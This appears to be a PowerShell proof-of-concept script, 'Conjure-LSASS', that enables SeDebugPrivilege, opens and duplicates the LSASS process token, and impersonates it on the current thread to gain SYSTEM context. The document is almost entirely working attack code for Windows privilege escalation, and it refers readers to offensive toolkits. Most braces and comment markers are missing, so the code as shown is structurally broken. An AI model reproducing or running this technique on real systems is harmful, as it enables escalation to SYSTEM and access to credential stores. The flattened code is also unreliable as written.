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function Conjure-LSASS {
Use the SeDebugPrivilege to duplicate the LSASS access token and
impersonate it in the calling thread. If SeDebugPrivilege is disabled
the function will re-enable it.
If SeDebugPrivilege has been removed, it can be added using LsaAddAccountRights
however that requires the user to log off / log on so I haven't added it
to the script.
* Multithreading in PowerShell, causes the impersonation to be lost. To avoid
this PowerShell should be launched as a Single Threaded Apartment (STA)
==> "powershell -sta". This should not be an issue in PowerShell v3+.
* This is just some POC code mkay, check out PowerSploit & PoshPrivilege.
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
C:\PS> Conjure-LSASS
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
public int Count;
public long Luid;
public int Attr;
public static class Advapi32
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TokPriv1Luid NewState,
int BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
ref IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
IntPtr Thread,
IntPtr Token);
public static class Kernel32
public static extern uint GetLastError();
$IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')
# Needs Admin privs
if (!$IsAdmin) {
echo "`n[!] Administrator privileges are required!`n"
$Whoami = whoami /priv /fo csv |ConvertFrom-Csv
$SeDebugPriv = $whoami -Match "SeDebugPrivilege"
# SeDebugPriv needs to be available
if (!$SeDebugPriv) {
echo "`n[!] SeDebugPrivilege not available, exiting!"
else {
echo "`n[?] SeDebugPrivilege is available!"
foreach ($priv in $whoami) {
if ($priv."Privilege Name" -contains "SeDebugPrivilege") {
$DebugVal = $priv.State
# Get current proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
echo "`n[+] Current process handle: $ProcHandle"
# Open token handle with TOKEN_ADJUST_PRIVILEGES bor TOKEN_QUERY
echo "`n[>] Calling Advapi32::OpenProcessToken"
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x28, [ref]$hTokenHandle)
echo "[+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: $hTokenHandle`n"
# Enable SeDebugPrivilege if needed
if ($DebugVal -eq "Disabled") {
echo "[?] SeDebugPrivilege is disabled, enabling..`n"
# Prepare TokPriv1Luid container
$TokPriv1Luid = New-Object TokPriv1Luid
$TokPriv1Luid.Count = 1
$TokPriv1Luid.Attr = 0x00000002 # SE_PRIVILEGE_ENABLED
# Get SeDebugPrivilege luid
$LuidVal = $Null
echo "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege"
$CallResult = [Advapi32]::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$LuidVal)
echo "[+] SeDebugPrivilege LUID value: $LuidVal`n"
$TokPriv1Luid.Luid = $LuidVal
# Enable SeDebugPrivilege for the current process
echo "[>] Calling Advapi32::AdjustTokenPrivileges`n"
$CallResult = [Advapi32]::AdjustTokenPrivileges($hTokenHandle, $False, [ref]$TokPriv1Luid, 0, [IntPtr]::Zero, [IntPtr]::Zero)
if (!$CallResult) {
$LastError = [Kernel32]::GetLastError()
echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n"
echo "[?] SeDebugPrivilege is enabled!`n"
# Open token handle with TOKEN_IMPERSONATE bor TOKEN_DUPLICATE
echo "[>] Calling Advapi32::OpenProcessToken --> LSASS"
$ProcHandle = (Get-Process -Name lsass).Handle
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x6, [ref]$hTokenHandle)
echo "[+] Token handle with TOKEN_IMPERSONATE|TOKEN_DUPLICATE: $hTokenHandle`n"
# Duplicate LSASS token
echo "[>] Calling Advapi32::DuplicateToken --> LSASS"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($hTokenHandle, 2, [ref]$hDuplicateTokenHandle)
echo "[+] Duplicate token handle with SecurityImpersonation level: $hDuplicateTokenHandle`n"
# Assign impersonation token to calling thread
echo "[>] Calling Advapi32::SetThreadToken"
$CallResult = [Advapi32]::SetThreadToken([IntPtr]::Zero, $hDuplicateTokenHandle)
if (!$CallResult) {
$LastError = [Kernel32]::GetLastError()
echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n"
echo "[+] Knock knock .. who's there .. LSASS"
echo "[+] User context: $([Environment]::UserName)`n"
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